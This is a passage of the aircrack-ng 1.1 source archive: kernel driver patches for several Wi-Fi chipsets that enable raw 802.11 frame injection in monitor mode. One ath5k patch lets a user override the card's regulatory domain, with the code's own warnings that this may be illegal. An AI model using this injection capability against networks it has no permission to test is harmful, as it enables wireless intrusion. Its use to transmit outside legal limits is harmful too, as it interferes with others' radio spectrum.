%d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (!ic->ic_media.ifm_cur) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -354,6 +366,11 @@ struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); (*ic->ic_media.ifm_status)(ic->ic_dev, &imr); @@ -782,6 +799,7 @@ #if WIRELESS_EXT >= 15 case IW_MODE_MONITOR: ifr.ifr_media |= IFM_IEEE80211_MONITOR; + ic->inject_rate = 5500; /* default = 5.5M DSSS */ break; #endif default: aircrack-ng-1.1/patches/old/sqlite-3.4.2-lib-cygwin.diff0000644000000000000000000000061610761053203021276 0ustar rootroot--- Makefile 2007-10-04 22:56:07.671875000 +0200 +++ Makefile.cygwin 2007-10-04 22:54:07.468750000 +0200 @@ -681,7 +681,7 @@ mkdir -p doc mv $(DOC) doc -install: sqlite3$(TEXE) libsqlite3.la sqlite3.h ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) $(INSTALL) -d $(DESTDIR)$(exec_prefix)/bin aircrack-ng-1.1/patches/old/wlanng-0.2.1-pre26.patch0000644000000000000000000002511710761053203020341 0ustar rootrootdiff -ur linux-wlan-ng-0.2.1-pre26-orig/src/p80211/p80211netdev.c linux-wlan-ng-0.2.1-pre26/src/p80211/p80211netdev.c --- linux-wlan-ng-0.2.1-pre26-orig/src/p80211/p80211netdev.c 2005-01-11 18:43:54.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/p80211/p80211netdev.c 2005-03-14 13:58:11.000000000 +0100 @@ -525,7 +525,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -537,7 +537,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { return(-EPERM); } @@ -965,8 +965,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// KoreK: still not implemented +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif } diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/Makefile linux-wlan-ng-0.2.1-pre26/src/prism2/driver/Makefile --- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/Makefile 2005-01-25 02:41:44.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/Makefile 2005-03-14 13:58:11.000000000 +0100 @@ -88,7 +88,7 @@ MODVERDIR=$(WLAN_SRC)/.tmp_versions modules else # kbuild 2.4 - $(MAKE) -C $(LINUX_SRC) SUBDIRS=$(PWD) WLAN_SRC=$(PWD) \ + $(MAKE) -C $(LINUX_SRC) SUBDIRS=$(PWD) WLAN_SRC=$(WLAN_SRC) \ modules endif # kbuild switch diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x.c --- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x.c 2005-01-25 01:38:50.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x.c 2005-03-14 15:21:02.000000000 +0100 @@ -1941,8 +1941,14 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3178,13 +3184,26 @@ HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); - } + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + } txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); /* copy the header over to the txdesc */ @@ -3207,7 +3226,7 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3657,6 +3676,16 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(rxdesc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } fc = ieee2host16(rxdesc.frame_control); diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x_usb.c --- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x_usb.c 2005-01-17 17:24:40.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x_usb.c 2005-03-14 15:27:57.000000000 +0100 @@ -1143,8 +1143,14 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3258,37 +3264,59 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* copy the header over to the txdesc */ - memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4105,6 +4133,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status)) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + w_hdr = (p80211_hdr_t *) &(usbin->rxfrm.desc.frame_control); fc = ieee2host16(usbin->rxfrm.desc.frame_control); diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2mgmt.c --- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2mgmt.c 2005-01-25 01:38:50.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2mgmt.c 2005-03-14 13:58:11.000000000 +0100 @@ -2855,9 +2855,10 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2869,6 +2870,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2914,7 +2917,8 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2sta.c --- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2sta.c 2005-01-25 01:38:50.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2sta.c 2005-03-14 13:58:11.000000000 +0100 @@ -649,7 +649,8 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } aircrack-ng-1.1/patches/old/madwifi-ng-r1457-1473_disable_retry_raw.patch0000644000000000000000000000710710761053203024441 0ustar rootrootdiff -Nurb madwifi-ng-r1457/ath/if_ath.c patched_madwifi-ng-r1457/ath/if_ath.c --- madwifi-ng-r1457/ath/if_ath.c 2006-02-25 00:24:30.000000000 +0100 +++ patched_madwifi-ng-r1457/ath/if_ath.c 2006-03-01 23:23:32.000000000 +0100 @@ -2166,6 +2166,7 @@ struct ath_softc *sc = dev->priv; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); + struct ieee80211com *ic = &sc->sc_ic; const HAL_RATE_TABLE *rt; int pktlen; int hdrlen; @@ -2180,9 +2181,12 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; - txrate = dot11_to_ratecode(sc, rt, ph->rate0); + txrate = dot11_to_ratecode(sc, rt, (ic->ic_opmode == IEEE80211_M_MONITOR) ? (ic->inject_rate / 500) : ph->rate0); power = ph->power > 60 ? 60 : ph->power; hdrlen = ieee80211_anyhdrsize(wh); pktlen = skb->len + IEEE80211_CRC_LEN; diff -Nurb madwifi-ng-r1457/net80211/ieee80211_var.h patched_madwifi-ng-r1457/net80211/ieee80211_var.h --- madwifi-ng-r1457/net80211/ieee80211_var.h 2006-02-06 20:58:08.000000000 +0100 +++ patched_madwifi-ng-r1457/net80211/ieee80211_var.h 2006-03-01 23:24:38.000000000 +0100 @@ -138,6 +138,7 @@ u_int16_t ic_txpowlimit; /* global tx power limit */ u_int16_t ic_uapsdmaxtriggers; /* max triggers that could arrive */ u_int8_t ic_coverageclass; /* coverage class */ + int inject_rate; /* injection rate in Monitor mode */ /* * Channel state: diff -Nurb madwifi-ng-r1457/net80211/ieee80211_wireless.c patched_madwifi-ng-r1457/net80211/ieee80211_wireless.c --- madwifi-ng-r1457/net80211/ieee80211_wireless.c 2006-02-19 18:35:54.000000000 +0100 +++ patched_madwifi-ng-r1457/net80211/ieee80211_wireless.c 2006-03-01 23:30:34.000000000 +0100 @@ -346,6 +346,18 @@ struct ifmediareq imr; int rate, retv; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (vap->iv_media.ifm_cur == NULL) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -379,9 +391,15 @@ struct iw_param *rrq, char *extra) { struct ieee80211vap *vap = dev->priv; + struct ieee80211com *ic = vap->iv_ic; struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); vap->iv_media.ifm_status(vap->iv_dev, &imr); @@ -1051,6 +1069,7 @@ __u32 *mode, char *extra) { struct ieee80211vap *vap = dev->priv; + struct ieee80211com *ic = vap->iv_ic; struct ifmediareq imr; int valid = 0; @@ -1060,8 +1079,10 @@ if (imr.ifm_active & IFM_IEEE80211_HOSTAP) valid = (*mode == IW_MODE_MASTER); #if WIRELESS_EXT >= 15 - else if (imr.ifm_active & IFM_IEEE80211_MONITOR) + else if (imr.ifm_active & IFM_IEEE80211_MONITOR) { valid = (*mode == IW_MODE_MONITOR); + ic->inject_rate = 5500; /* default = 5.5M CCK */ + } #endif else if (imr.ifm_active & IFM_IEEE80211_ADHOC) valid = (*mode == IW_MODE_ADHOC); aircrack-ng-1.1/patches/b43-injection-2.6.26-wl.patch0000644000000000000000000000367011040156044020424 0ustar rootrootdiff --git a/drivers/net/wireless/b43/xmit.c b/drivers/net/wireless/b43/xmit.c index 8d54502..3e0e088 100644 --- a/drivers/net/wireless/b43/xmit.c +++ b/drivers/net/wireless/b43/xmit.c @@ -315,10 +315,16 @@ int b43_generate_txhdr(struct b43_wldev *dev, } /* MAC control */ - if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + /* dev->wl->if_type returns IEEE80211_IF_TYPE_INVALID instead of + * IEEE80211_IF_TYPE_MNTR for monitor interfaces, as monitor mode + * is not considered "operating" by mac80211. + */ + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(info->flags & IEEE80211_TX_CTL_NO_ACK)) mac_ctl |= B43_TXH_MAC_ACK; /* use hardware sequence counter as the non-TID counter */ - if (info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ) + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ) mac_ctl |= B43_TXH_MAC_HWSEQ; if (info->flags & IEEE80211_TX_CTL_FIRST_FRAGMENT) mac_ctl |= B43_TXH_MAC_STMSDU; diff --git a/drivers/net/wireless/b43legacy/xmit.c b/drivers/net/wireless/b43legacy/xmit.c index e969ed8..c19409e 100644 --- a/drivers/net/wireless/b43legacy/xmit.c +++ b/drivers/net/wireless/b43legacy/xmit.c @@ -293,9 +293,15 @@ static int generate_txhdr_fw3(struct b43legacy_wldev *dev, } /* MAC control */ - if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + /* dev->wl->if_type returns IEEE80211_IF_TYPE_INVALID instead of + * IEEE80211_IF_TYPE_MNTR for monitor interfaces, as monitor mode + * is not considered "operating" by mac80211. + */ + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(info->flags & IEEE80211_TX_CTL_NO_ACK)) mac_ctl |= B43legacy_TX4_MAC_ACK; - if (info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ) + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ) mac_ctl |= B43legacy_TX4_MAC_HWSEQ; if (info->flags & IEEE80211_TX_CTL_FIRST_FRAGMENT) mac_ctl |= B43legacy_TX4_MAC_STMSDU; aircrack-ng-1.1/patches/rtl8187-mac80211-injection-speed-2.6.28-rc6.patch0000644000000000000000000000213711113531005023457 0ustar rootrootdiff --git a/drivers/net/wireless/rtl818x/rtl8187_dev.c b/drivers/net/wireless/rtl818x/rtl8187_dev.c index 9212cea..08d04a3 100644 --- a/drivers/net/wireless/rtl8187_dev.c +++ b/drivers/net/wireless/rtl8187_dev.c @@ -214,7 +214,11 @@ static int rtl8187_tx(struct ieee80211_hw *dev, struct sk_buff *skb) hdr->flags = cpu_to_le32(flags); hdr->len = 0; hdr->rts_duration = rts_dur; - hdr->retry = cpu_to_le32(info->control.retry_limit << 8); + if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + hdr->retry = + cpu_to_le32(info->control.retry_limit << 8); + else + hdr->retry = 0; buf = hdr; ep = 2; @@ -232,7 +235,11 @@ static int rtl8187_tx(struct ieee80211_hw *dev, struct sk_buff *skb) memset(hdr, 0, sizeof(*hdr)); hdr->flags = cpu_to_le32(flags); hdr->rts_duration = rts_dur; - hdr->retry = cpu_to_le32(info->control.retry_limit << 8); + if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + hdr->retry = + cpu_to_le32(info->control.retry_limit << 8); + else + hdr->retry = 0; hdr->tx_duration = ieee80211_generic_frame_duration(dev, priv->vif, skb->len, txrate); aircrack-ng-1.1/patches/mac80211_2.6.26-wl_frag.patch0000644000000000000000000000113211037473530020270 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 2b912cf..aaa086f 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -636,6 +636,11 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) if (ieee80211_hdrlen(hdr->frame_control) < 24) return TX_CONTINUE; + if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) && + (tx->sdata->vif.type == IEEE80211_IF_TYPE_MNTR) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) + return TX_CONTINUE; + if (!ieee80211_is_data_qos(hdr->frame_control)) { info->flags |= IEEE80211_TX_CTL_ASSIGN_SEQ; return TX_CONTINUE; aircrack-ng-1.1/patches/bcm43xx-injection-linux-2.6.20.patch0000644000000000000000000000566410761053203022042 0ustar rootroot--- linux/drivers/net/wireless/bcm43xx/bcm43xx_main.c 2007-04-17 16:39:08.000000000 +0200 +++ linux-bcm43xx-patch/drivers/net/wireless/bcm43xx/bcm43xx_main.c 2007-04-20 00:09:09.000000000 +0200 @@ -104,6 +104,13 @@ #endif /* CONFIG_BCM43XX_DEBUG*/ +static ssize_t bcm43xx_inject_nofcs(struct device *dev, + struct device_attribute *attr, + const char *buf, + size_t cnt); +static DEVICE_ATTR(inject_nofcs, 0200, + NULL, bcm43xx_inject_nofcs); + /* If you want to debug with just a single device, enable this, * where the string is the pci device ID (as given by the kernel's * pci_name function) of the device to be used. @@ -3365,6 +3372,8 @@ static void bcm43xx_free_board(struct bcm43xx_private *bcm) { bcm43xx_rng_exit(bcm); + + device_remove_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs); bcm43xx_sysfs_unregister(bcm); bcm43xx_periodic_tasks_delete(bcm); @@ -3636,6 +3645,10 @@ err = bcm43xx_rng_init(bcm); if (err) goto err_sysfs_unreg; + + err = device_create_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs); + if (err) + goto err_inject_if; bcm43xx_periodic_tasks_setup(bcm); /*FIXME: This should be handled by softmac instead. */ @@ -3645,7 +3658,8 @@ mutex_unlock(&(bcm)->mutex); return err; - +err_inject_if: + device_remove_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs); err_sysfs_unreg: bcm43xx_sysfs_unregister(bcm); err_wlshutdown: @@ -3892,6 +3906,48 @@ return err; } +static ssize_t bcm43xx_inject_nofcs(struct device *dev, + struct device_attribute *attr, + const char *buf, + size_t cnt) +{ + struct bcm43xx_private *bcm = dev_to_bcm(dev); + struct ieee80211_txb *faketxb; + struct sk_buff *skb; + unsigned long flags; + int err = -ENODEV; + + faketxb = kzalloc(sizeof(struct ieee80211_txb) + sizeof(void *), GFP_KERNEL); + if (!faketxb) + return -ENOMEM; + faketxb->nr_frags = 1; + faketxb->frag_size = cnt; + faketxb->payload_size = cnt; + skb = __dev_alloc_skb(cnt + bcm->ieee->tx_headroom, GFP_KERNEL); + if (!skb) { + kfree(faketxb); + return -ENOMEM; + } + skb_reserve(skb, bcm->ieee->tx_headroom); + memcpy(skb_put(skb, cnt), buf, cnt); + faketxb->fragments[0] = skb; + + spin_lock_irqsave(&bcm->irq_lock, flags); + + if (likely(bcm43xx_status(bcm) == BCM43xx_STAT_INITIALIZED)) + err = bcm43xx_tx(bcm, faketxb); + + spin_unlock_irqrestore(&bcm->irq_lock, flags); + + if (unlikely(err)) { + dev_kfree_skb(skb); + kfree(faketxb); + return err; + } + + return cnt; +} + static void bcm43xx_ieee80211_set_chan(struct net_device *net_dev, u8 channel) { aircrack-ng-1.1/patches/ieee80211_inject.patch0000644000000000000000000000153010761053203017535 0ustar rootrootdiff -Naur linux-source-2.6.17-orig/net/ieee80211/ieee80211_tx.c linux-source-2.6.17-rawtx/net/ieee80211/ieee80211_tx.c --- linux-source-2.6.17-orig/net/ieee80211/ieee80211_tx.c 2006-10-13 14:18:10.000000000 +0200 +++ linux-source-2.6.17-rawtx/net/ieee80211/ieee80211_tx.c 2007-04-09 17:07:45.000000000 +0200 @@ -291,6 +291,23 @@ goto success; } + if(ieee->iw_mode == IW_MODE_MONITOR) + { + txb = ieee80211_alloc_txb(1, skb->len, + ieee->tx_headroom, GFP_ATOMIC); + if (unlikely(!txb)) { + printk(KERN_WARNING "%s: Could not allocate TXB\n", + ieee->dev->name); + goto failed; + } + + txb->encrypted = 0; + txb->payload_size = skb->len; + memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); + + goto success; + } + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); crypt = ieee->crypt[ieee->tx_keyidx]; aircrack-ng-1.1/patches/ath5k_regdomain_override.patch0000644000000000000000000000265011324503527021647 0ustar rootrootPaulFertser> Get _your_ country code from regd.h, add 32768 and supply as a parameter. fercerpav@gmail.com --- linux-2.6.32-gentoo-r1-orig/drivers/net/wireless/ath/ath5k/base.c 2009-12-03 06:51:21.000000000 +0300 +++ linux-2.6.32-gentoo-r1/drivers/net/wireless/ath/ath5k/base.c 2010-01-16 00:02:51.000000000 +0300 @@ -68,6 +68,11 @@ module_param_named(all_channels, modparam_all_channels, bool, S_IRUGO); MODULE_PARM_DESC(all_channels, "Expose all channels the device can use."); +static int modparam_override_eeprom_regdomain = -1; +module_param_named(override_eeprom_regdomain, + modparam_override_eeprom_regdomain, int, S_IRUGO); +MODULE_PARM_DESC(override_eeprom_regdomain, "Override regdomain hardcoded in EEPROM with this value (DANGEROUS)."); + /******************\ * Internal defines * @@ -572,6 +577,15 @@ goto err_irq; } + if (modparam_override_eeprom_regdomain != -1) { + ATH5K_ERR(sc, "DANGER! You're overriding EEPROM-defined regulatory domain.\n"); + ATH5K_ERR(sc, "Your card was not certified to operate on the domain you choosed.\n"); + ATH5K_ERR(sc, "This might result in a violation of your local regulatory rules.\n"); + ATH5K_ERR(sc, "Do not ever do that unless you really know what you do!\n"); + sc->ah->ah_capabilities.cap_eeprom.ee_regdomain = + modparam_override_eeprom_regdomain; + } + /* set up multi-rate retry capabilities */ if (sc->ah->ah_version == AR5K_AR5212) { hw->max_rates = 4; aircrack-ng-1.1/patches/mac80211_2.6.27_frag+ack.patch0000644000000000000000000000110011125212333020364 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 0855cac..221bed6 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -630,6 +630,13 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) int tid; /* only for injected frames */ + if (unlikely(info->flags & IEEE80211_TX_CTL_INJECTED) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES)) { + if (!ieee80211_has_morefrags(hdr->frame_control)) + info->flags |= IEEE80211_TX_CTL_NO_ACK; + return TX_CONTINUE; + } + if (unlikely(ieee80211_is_ctl(hdr->frame_control))) return TX_CONTINUE; aircrack-ng-1.1/patches/rtl8187_2.6.32.patch0000644000000000000000000001141211335626102016641 0ustar rootrootdiff -udpr rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_2.6.32/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2010-01-31 11:32:06.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/beta-8187/r8187.h 2010-01-31 09:28:57.000000000 -0500 @@ -43,12 +43,14 @@ #include #include #include -#include -#include #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#include #include #else +#include +#include #include #endif diff -udpr rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_2.6.32/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2010-01-31 11:32:05.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/beta-8187/r8187_core.c 2010-01-31 11:15:27.000000000 -0500 @@ -1893,8 +1893,6 @@ short rtl8180_init(struct net_device *de DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - dev->get_stats = rtl8180_stats; - dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; @@ 